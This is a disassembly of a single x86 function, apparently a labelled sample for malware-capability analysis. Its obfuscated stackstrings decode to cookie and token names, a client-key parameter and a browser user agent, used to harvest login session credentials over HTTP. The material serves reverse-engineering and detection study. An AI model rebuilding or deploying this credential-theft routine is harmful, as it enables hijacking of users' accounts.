Function at 0x404000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405ade
mov eax, dword fs:[0]
push eax
mov eax, 0x2188
call fcn.00405960
mov eax, dword [0x407018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x20bc], eax
mov dword [ebp - 0x20d0], ebx
call fcn.00403d90
push 0x38
lea ecx, [ebp - 0x2118]
push ebx
push ecx
mov dword [ebp - 0x211c], ebx
call sub.MSVCR100.dll_memset
push 0xff
lea edx, [ebp - 0x62f]
push ebx
push edx
mov byte [ebp - 0x630], bl
call sub.MSVCR100.dll_memset
lea eax, [ebx + 4]
add esp, 0x18
mov ebx, 0x40774c
lea ecx, [ebp - 0x20b8]
mov dword [0x40774c], 0x82dc9d3
call fcn.004010e0
lea eax, [ebp - 0x630]
push eax
mov ecx, 0xa0
mov edx, 0x407058
lea eax, [ebp - 0x20b8]
call section..text
mov cl, 0x20
mov byte [ebp - 0x36], cl
xor ebx, ebx
lea ecx, [ebp - 0xcb0]
lea edx, [ebp - 0xeb0]
lea eax, [ebp - 0x630]
mov dword [ebp - 0x48], 0x7263694d
mov dword [ebp - 0x44], 0x666f736f
mov dword [ebp - 0x40], 0x6e492074
mov dword [ebp - 0x3c], 0x6e726574
mov word [ebp - 0x38], 0x7465
mov dword [ebp - 0x35], 0x6c707845
mov dword [ebp - 0x31], 0x7265726f
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x20c4], 0x544547
mov dword [ebp - 0x211c], 0x3c
mov dword [ebp - 0x210c], ecx
mov dword [ebp - 0x2108], 0x80
mov dword [ebp - 0x20f0], edx
mov dword [ebp - 0x20ec], pe_nt_image_headers32
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404134
lea ecx, [ebp - 0x211c]
push ecx
push ebx
sub eax, esi
push eax
lea edx, [ebp - 0x630]
push edx
call dword [0x407744]
push ebx
push ebx
push ebx
push 1
lea eax, [ebp - 0x48]
push eax
call dword [0x407740]
mov ecx, dword [ebp - 0x210c]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x1bb
push ecx
push eax
mov dword [ebp - 0x20c8], eax
call dword [0x40773c]
mov edx, dword [ebp - 0x20f0]
push ebx
push 0x800000
push ebx
push 0x40621e
push ebx
push edx
lea ecx, [ebp - 0x20c4]
push ecx
push eax
mov dword [ebp - 0x20dc], eax
call dword [0x407738]
push ebx
push ebx
push ebx
mov esi, eax
push ebx
push esi
mov dword [ebp - 0x20e0], esi
call dword [0x407734]
push 0xfff
lea edx, [ebp - 0x1eaf]
push ebx
push edx
mov dword [ebp - 0x20cc], 0x1000
mov byte [ebp - 0x1eb0], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x20cc]
push eax
lea ecx, [ebp - 0x1eb0]
push ecx
push 0x16
push esi
mov dword [ebp - 0x1c], 0x2d746553
mov dword [ebp - 0x18], 0x6b6f6f43
mov dword [ebp - 0x14], 0x3a6569
call dword [0x407728]
lea eax, [ebp - 0x1eb0]
mov dword [ebp - 0x1f0c], 0xf
mov dword [ebp - 0x1f10], ebx
mov byte [ebp - 0x1f20], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404230
sub eax, esi
mov edi, eax
lea eax, [ebp - 0x1eb0]
lea esi, [ebp - 0x1f20]
call fcn.00402560
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1ed4], 0xf
mov dword [ebp - 0x1ed8], ebx
mov byte [ebp - 0x1ee8], bl
lea esi, [eax + 1]
jmp 0x404270
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404270
sub eax, esi
mov edi, eax
lea eax, [ebp - 0x1c]
lea esi, [ebp - 0x1ee8]
call fcn.00402560
mov byte [ebp - 4], 1
xor edi, edi
mov eax, 0x40621e
lea esi, [ebp - 0x1f04]
mov dword [ebp - 0x1ef0], 0xf
mov dword [ebp - 0x1ef4], ebx
mov byte [ebp - 0x1f04], bl
call fcn.00402560
mov byte [ebp - 4], 2
jmp 0x4042c2
xor ebx, ebx
cmp dword [ebp - 0x1ed4], 0x10
mov eax, dword [ebp - 0x1ee8]
jae 0x4042d7
lea eax, [ebp - 0x1ee8]
mov edx, dword [ebp - 0x1ed8]
push edx
push eax
lea eax, [ebp - 0x1f20]
push eax
mov eax, edi
call fcn.004024b0
mov esi, eax
cmp esi, 0xffffffff
je 0x4043c4
add esi, dword [ebp - 0x1ed8]
push 1
push 0x406278
lea ecx, [ebp - 0x1f20]
push ecx
mov eax, esi
call fcn.004024b0
lea edi, [eax + 1]
lea eax, [ebp - 0x1f20]
mov ebx, esi
cmp edi, 0xffffffff
je 0x40436d
mov edx, edi
sub edx, esi
push edx
push eax
lea esi, [ebp - 0x1ecc]
call fcn.00402630
mov ecx, esi
push ecx
lea esi, [ebp - 0x1f04]
mov byte [ebp - 4], 3
inc edi
call fcn.00402660
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1eb8], 0x10
jb 0x4042c0
mov edx, dword [ebp - 0x1ecc]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
jmp 0x4042c0
push 0xffffffffffffffff
push eax
lea esi, [ebp - 0x1ecc]
call fcn.00402630
mov ecx, esi
push ecx
lea esi, [ebp - 0x1f04]
mov byte [ebp - 4], 4
call fcn.00402660
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1eb8], 0x10
jb 0x4043aa
mov edx, dword [ebp - 0x1ecc]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov dword [ebp - 0x1eb8], 0xf
mov dword [ebp - 0x1ebc], eax
mov byte [ebp - 0x1ecc], al
xor ebx, ebx
cmp dword [ebp - 0x1ef0], 0x10
mov eax, dword [ebp - 0x1f04]
jae 0x4043d9
lea eax, [ebp - 0x1f04]
mov esi, dword [ebp - 0x20cc]
inc eax
mov dword [ebp - 0x20d8], eax
lea esi, [ebp + esi - 0x1eb0]
lea eax, [ebp - 0x1eb0]
mov dword [ebp - 0x2c], 0x6c5f7470
mov dword [ebp - 0x28], 0x6c61636f
mov dword [ebp - 0x24], 0x6b6f745f
mov dword [ebp - 0x20], 0x3d6e65
mov dword [ebp - 0x20c0], esi
cmp esi, eax
je 0x404457
mov edi, dword [sym.imp.MSVCR100.dll_strstr]
nop
lea ecx, [ebp - 0x2c]
push ecx
push esi
call edi
add esp, 8
test eax, eax
jne 0x404441
dec esi
lea edx, [ebp - 0x1eb0]
cmp esi, edx
jne 0x404420
mov dword [ebp - 0x20c0], esi
jmp 0x404457
add esi, 0xf
push 0x406278
push esi
mov dword [ebp - 0x20c0], esi
call edi
add esp, 8
mov byte [eax], bl
mov eax, dword [ebp - 0x20dc]
push eax
call dword [0x407724]
mov ecx, dword [ebp - 0x20e0]
push ecx
call dword [0x407724]
push 0xff
lea edx, [ebp - 0x52f]
push ebx
push edx
mov byte [ebp - 0x530], bl
call sub.MSVCR100.dll_memset
push 0x38
lea eax, [ebp - 0x2154]
push ebx
push eax
mov dword [ebp - 0x2158], ebx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov eax, 4
mov ebx, 0x40774c
lea ecx, [ebp - 0x20b8]
call fcn.004010e0
lea ecx, [ebp - 0x530]
push ecx
mov ecx, 0x56
mov edx, 0x4070f8
lea eax, [ebp - 0x20b8]
call section..text
push esi
mov esi, pe_nt_image_headers32
lea edx, [ebp - 0x530]
push esi
push edx
call dword [sym.imp.MSVCR100.dll_strcat_s]
lea eax, [ebp - 0xdb0]
lea ecx, [ebp - 0xc30]
mov dword [ebp - 0x2148], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x212c], ecx
add esp, 0xc
mov dword [ebp - 0x2158], 0x3c
mov dword [ebp - 0x2144], esi
mov dword [ebp - 0x2128], esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404520
lea edx, [ebp - 0x2158]
push edx
sub eax, ecx
xor ebx, ebx
push ebx
push eax
lea eax, [ebp - 0x530]
push eax
call dword [0x407744]
mov edx, dword [ebp - 0x20c8]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x10cd
lea ecx, [ebp - 0xdb0]
push ecx
push edx
call dword [0x40773c]
mov edi, eax
cmp edi, ebx
jne 0x40466b
mov esi, dword [ebp - 0x20bc]
xor eax, eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404581
sub eax, edx
mov edi, eax
cmp edi, 0xfffffffe
jbe 0x40459c
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
mov eax, dword [esi + 0x14]
cmp eax, edi
jae 0x4045bc
mov eax, dword [esi + 0x10]
push eax
push edi
push esi
call fcn.00401770
cmp edi, ebx
jbe 0x4045f3
cmp dword [esi + 0x14], 0x10
jb 0x4045d4
mov eax, dword [esi]
jmp 0x4045d6
cmp edi, ebx
jne 0x4045b0
mov dword [esi + 0x10], ebx
cmp eax, 0x10
jb 0x4045ce
mov eax, dword [esi]
mov byte [eax], bl
jmp 0x4045f3
mov eax, esi
mov byte [eax], bl
jmp 0x4045f3
mov eax, esi
push edi
push ebx
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], edi
jb 0x4045ee
mov eax, dword [esi]
jmp 0x4045f0
mov eax, esi
mov byte [eax + edi], bl
cmp dword [ebp - 0x1ef0], 0x10
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x40460e
mov ecx, dword [ebp - 0x1f04]
push ecx
call edi
add esp, 4
cmp dword [ebp - 0x1ed4], 0x10
mov byte [ebp - 0x1f04], bl
mov dword [ebp - 0x1ef4], ebx
mov dword [ebp - 0x1ef0], 0xf
jb 0x404639
mov edx, dword [ebp - 0x1ee8]
push edx
call edi
add esp, 4
cmp dword [ebp - 0x1f0c], 0x10
mov dword [ebp - 0x1ed4], 0xf
mov dword [ebp - 0x1ed8], ebx
mov byte [ebp - 0x1ee8], bl
jb 0x404664
mov eax, dword [ebp - 0x1f20]
push eax
call edi
add esp, 4
mov eax, esi
jmp 0x404f59
push ebx
push 0xa80000
push ebx
push ebx
push ebx
lea ecx, [ebp - 0xc30]
push ecx
lea edx, [ebp - 0x20c4]
push edx
push edi
call dword [0x407738]
mov esi, eax
cmp esi, ebx
jne 0x4046bc
push edi
call dword [0x407724]
mov esi, dword [ebp - 0x20bc]
xor eax, eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4046b0
jmp 0x404588
push 0x3f
lea ecx, [ebp - 0xaf]
push ebx
push ecx
mov byte [ebp - 0xb0], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
mov eax, 4
mov ebx, 0x40774c
lea ecx, [ebp - 0x20b8]
call fcn.004010e0
lea edx, [ebp - 0xb0]
push edx
mov ecx, 0x2c
mov edx, 0x407150
lea eax, [ebp - 0x20b8]
call section..text
push 0x1f8
xor ebx, ebx
lea eax, [ebp - 0x428]
push ebx
push eax
mov dword [ebp - 0x430], 0x6b6f6f43
mov dword [ebp - 0x42c], 0x3a6569
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 0x20d8]
push ecx
lea edx, [ebp - 0x430]
push 0x200
push edx
call dword [sym.imp.MSVCR100.dll_strcat_s]
lea eax, [ebp - 0x430]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x404752
push 0x20000000
sub eax, ecx
push eax
lea eax, [ebp - 0x430]
push eax
push esi
call dword [0x40772c]
test eax, eax
jne 0x404877
mov esi, dword [ebp - 0x20bc]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404790
sub eax, edx
mov edi, eax
cmp edi, 0xfffffffe
ja 0x404591
mov eax, dword [esi + 0x14]
cmp eax, edi
jae 0x4047c4
mov ecx, dword [esi + 0x10]
push ecx
push edi
push esi
call fcn.00401770
cmp edi, ebx
jbe 0x4047fb
cmp dword [esi + 0x14], 0x10
jb 0x4047dc
mov eax, dword [esi]
jmp 0x4047de
cmp edi, ebx
jne 0x4047b8
mov dword [esi + 0x10], ebx
cmp eax, 0x10
jb 0x4047d6
mov eax, dword [esi]
mov byte [eax], bl
jmp 0x4047fb
mov eax, esi
mov byte [eax], bl
jmp 0x4047fb
mov eax, esi
push edi
push ebx
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], edi
jb 0x4047f6
mov eax, dword [esi]
jmp 0x4047f8
mov eax, esi
mov byte [eax + edi], bl
cmp dword [ebp - 0x1ef0], 0x10
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
jb 0x404816
mov edx, dword [ebp - 0x1f04]
push edx
call edi
add esp, 4
cmp dword [ebp - 0x1ed4], 0x10
mov dword [ebp - 0x1ef0], 0xf
mov dword [ebp - 0x1ef4], ebx
mov byte [ebp - 0x1f04], bl
jb 0x404841
mov eax, dword [ebp - 0x1ee8]
push eax
call edi
add esp, 4
cmp dword [ebp - 0x1f0c], 0x10
mov dword [ebp - 0x1ed4], 0xf
mov dword [ebp - 0x1ed8], ebx
mov byte [ebp - 0x1ee8], bl
jb 0x404664
mov ecx, dword [ebp - 0x1f20]
push ecx
call edi
add esp, 4
mov eax, esi
jmp 0x404f59
lea eax, [ebp - 0xb0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404880
push 0x20000000
sub eax, edx
push eax
lea edx, [ebp - 0xb0]
push edx
push esi
call dword [0x40772c]
test eax, eax
jne 0x404931
mov ecx, dword [ebp - 0x20bc]
call fcn.00402230
mov esi, 0x10
cmp dword [ebp - 0x1ef0], esi
jb 0x4048cd
mov eax, dword [ebp - 0x1f04]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x1ef0], edi
mov dword [ebp - 0x1ef4], ebx
mov byte [ebp - 0x1f04], bl
cmp dword [ebp - 0x1ed4], esi
jb 0x4048fc
mov ecx, dword [ebp - 0x1ee8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x1ed4], edi
mov dword [ebp - 0x1ed8], ebx
mov byte [ebp - 0x1ee8], bl
cmp dword [ebp - 0x1f0c], esi
jb 0x404926
mov edx, dword [ebp - 0x1f20]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x20bc]
jmp 0x404f59
push ebx
push ebx
push ebx
push ebx
push esi
call dword [0x407734]
push 0xff
lea eax, [ebp - 0x72f]
push ebx
push eax
mov byte [ebp - 0x730], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x20d4]
push ecx
push pe_nt_image_headers32
lea edx, [ebp - 0x730]
push edx
push esi
mov dword [ebp - 0x20d4], ebx
call dword [0x407730]
push edi
call dword [0x407724]
push esi
call dword [0x407724]
lea eax, [ebp - 0x730]
lea ecx, [ebp - 0x1f74]
mov dword [ebp - 0x1ec4], 0x5f726176
mov dword [ebp - 0x1ec0], 0x5f6f7373
mov dword [ebp - 0x1ebc], 0x5f6e6975
mov dword [ebp - 0x1eb8], 0x7473696c
mov byte [ebp - 0x1eb4], bl
call fcn.00402230
lea eax, [ebp - 0x1ec4]
mov byte [ebp - 4], 5
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4049d1
sub eax, ecx
mov esi, eax
push esi
lea eax, [ebp - 0x1ec4]
push eax
lea ecx, [ebp - 0x1f74]
push ecx
xor eax, eax
call fcn.004024b0
push 1
lea ebx, [eax + esi + 9]
push 0x40627c
lea edx, [ebp - 0x1f74]
push edx
mov eax, ebx
call fcn.004024b0
sub eax, ebx
push eax
lea eax, [ebp - 0x1f74]
push eax
lea esi, [ebp - 0x1f3c]
call fcn.00402630
push 0xff
lea ecx, [ebp - 0x22f]
push 0
mov byte [ebp - 4], 6
push ecx
mov byte [ebp - 0x230], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
mov eax, 4
mov ebx, 0x40774c
lea ecx, [ebp - 0x20b8]
mov dword [ebp - 0x70], 0x6c616326
mov dword [ebp - 0x6c], 0x6361626c
mov dword [ebp - 0x68], 0x74703d6b
mov dword [ebp - 0x64], 0x675f6975
mov dword [ebp - 0x60], 0x74737465
mov dword [ebp - 0x5c], 0x2642435f
mov dword [ebp - 0x58], 0x70263d72
mov dword [ebp - 0x54], 0x6f6c5f74
mov dword [ebp - 0x50], 0x5f6c6163
mov dword [ebp - 0x4c], 0x3d6b74
call fcn.004010e0
lea edx, [ebp - 0x230]
push edx
mov ecx, 0x36
mov edx, 0x40717c
lea eax, [ebp - 0x20b8]
call section..text
mov eax, dword [ebp - 0x1f3c]
mov edi, 0x10
cmp dword [ebp - 0x1f28], edi
jae 0x404acd
mov eax, esi
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
push eax
mov ebx, pe_nt_image_headers32
lea eax, [ebp - 0x230]
push ebx
push eax
call esi
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x230]
push ebx
push edx
call esi
mov eax, dword [ebp - 0x20c0]
push eax
lea ecx, [ebp - 0x230]
push ebx
push ecx
call esi
push 0x38
lea edx, [ebp - 0x2190]
push 0
push edx
call sub.MSVCR100.dll_memset
push 0xff
lea eax, [ebp - 0x92f]
push 0
push eax
mov byte [ebp - 0x930], 0
call sub.MSVCR100.dll_memset
push 0xff
lea ecx, [ebp - 0x82f]
push 0
push ecx
mov byte [ebp - 0x830], 0
call sub.MSVCR100.dll_memset
lea eax, [ebp - 0x830]
mov dword [ebp - 0x2168], eax
lea edx, [ebp - 0x930]
lea eax, [ebp - 0x230]
add esp, 0x48
mov dword [ebp - 0x2194], 0x3c
mov dword [ebp - 0x2184], edx
mov dword [ebp - 0x2180], ebx
mov dword [ebp - 0x2164], ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404b80
sub eax, ecx
lea ecx, [ebp - 0x2194]
push ecx
push 0
push eax
lea edx, [ebp - 0x230]
push edx
call dword [0x407744]
mov ecx, dword [ebp - 0x20c8]
push 0
push 0
push 3
push 0
push 0
push 0x10cd
lea eax, [ebp - 0x930]
push eax
push ecx
call dword [0x40773c]
mov ebx, eax
test ebx, ebx
je 0x404bf6
push 0
push 0xa80000
push 0
push 0
push 0
lea edx, [ebp - 0x830]
push edx
push 0x406280
push ebx
call dword [0x407738]
mov esi, eax
test esi, esi
jne 0x404c43
push ebx
call dword [0x407724]
mov edi, dword [ebp - 0x20bc]
xor eax, eax
mov ecx, edi
call fcn.00402230
lea esi, [ebp - 0x1f3c]
call fcn.004015b0
lea esi, [ebp - 0x1f74]
call fcn.004015b0
lea esi, [ebp - 0x1f04]
call fcn.004015b0
lea esi, [ebp - 0x1ee8]
call fcn.004015b0
lea esi, [ebp - 0x1f20]
call fcn.004015b0
mov eax, edi
jmp 0x404f59
lea eax, [ebp - 0x430]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404c50
push 0x20000000
sub eax, edx
push eax
lea eax, [ebp - 0x430]
push eax
push esi
call dword [0x40772c]
test eax, eax
je 0x404bf6
lea eax, [ebp - 0xb0]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404c80
push 0x20000000
sub eax, edx
push eax
lea ecx, [ebp - 0xb0]
push ecx
push esi
call dword [0x40772c]
test eax, eax
je 0x404bf6
push 0
push 0
push 0
push 0
push esi
call dword [0x407734]
push 0x1ff
lea edx, [ebp - 0xb2f]
push 0
push edx
mov byte [ebp - 0xb30], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x20d0]
push eax
lea ecx, [ebp - 0xb30]
push ecx
push 0x16
push esi
mov dword [ebp - 0x20d0], 0x200
call dword [0x407728]
push ebx
call dword [0x407724]
push esi
call dword [0x407724]
mov edx, 0x3b
lea eax, [ebp - 0xb30]
lea ecx, [ebp - 0x1fac]
mov dword [ebp - 0x1ebc], 0x65696c63
mov dword [ebp - 0x1eb8], 0x656b746e
mov word [ebp - 0x1eb4], 0x3d79
mov byte [ebp - 0x1eb2], 0
mov word [ebp - 0x20c0], dx
call fcn.00402230
lea eax, [ebp - 0x1ebc]
mov byte [ebp - 4], 7
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404d50
sub eax, ecx
mov ebx, eax
push 0
lea eax, [ebp - 0x1fac]
push eax
lea edx, [ebp - 0x1ebc]
call fcn.00402280
add ebx, eax
push ebx
lea ecx, [ebp - 0x1fac]
push ecx
lea edx, [ebp - 0x20c0]
call fcn.00402280
sub eax, ebx
push eax
lea edx, [ebp - 0x1fac]
push edx
lea esi, [ebp - 0x1f90]
call fcn.00402630
push 0x7f
lea eax, [ebp - 0x12f]
push 0
mov byte [ebp - 4], 8
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 0x1f90]
add esp, 0xc
cmp dword [ebp - 0x1f7c], edi
jae 0x404dc7
mov ecx, esi
mov eax, dword [ebp - 0x1f3c]
cmp dword [ebp - 0x1f28], edi
jae 0x404ddb
lea eax, [ebp - 0x1f3c]
push ecx
push eax
lea ecx, [ebp - 0x130]
push str._sNT_s
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [ebp - 0x130]
add esp, 0x10
lea edx, [eax + 1]
jmp 0x404e00
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404e00
sub eax, edx
push eax
call fcn.00404fdb
mov esi, eax
add esp, 4
mov eax, 4
mov ebx, 0x40774c
lea ecx, [ebp - 0x20b8]
call fcn.004010e0
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404e32
sub eax, edx
mov ecx, eax
push esi
lea edx, [ebp - 0x130]
lea eax, [ebp - 0x20b8]
call section..text
lea eax, [ebp - 0x130]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404e58
sub eax, edx
push eax
lea edx, [ebp - 0x1f58]
push esi
push edx
mov cl, 1
call fcn.00401280
add esp, 0xc
mov ebx, dword [ebp - 0x20bc]
xor esi, esi
mov edi, 0xf
lea eax, [ebp - 0x1f58]
mov dword [ebx + 0x14], edi
mov dword [ebx + 0x10], esi
mov byte [ebx], 0
cmp ebx, eax
je 0x404eff
cmp dword [ebx + 0x14], 0x10
jb 0x404ea6
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebx + 0x14], edi
mov dword [ebx + 0x10], esi
mov byte [ebx], 0
cmp dword [ebp - 0x1f44], 0x10
jae 0x404ed3
mov edx, dword [ebp - 0x1f48]
inc edx
push edx
lea eax, [ebp - 0x1f58]
push eax
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
jmp 0x404ee1
mov ecx, dword [ebp - 0x1f58]
mov dword [ebx], ecx
mov dword [ebp - 0x1f58], esi
mov edx, dword [ebp - 0x1f48]
mov eax, dword [ebp - 0x1f44]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], eax
mov dword [ebp - 0x1f48], esi
mov dword [ebp - 0x1f44], esi
lea esi, [ebp - 0x1f58]
call fcn.004015b0
lea esi, [ebp - 0x1f90]
call fcn.004015b0
lea esi, [ebp - 0x1fac]
call fcn.004015b0
lea esi, [ebp - 0x1f3c]
call fcn.004015b0
lea esi, [ebp - 0x1f74]
call fcn.004015b0
lea esi, [ebp - 0x1f04]
call fcn.004015b0
lea esi, [ebp - 0x1ee8]
call fcn.004015b0
lea esi, [ebp - 0x1f20]
call fcn.004015b0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404fe6
mov esp, ebp
pop ebp
ret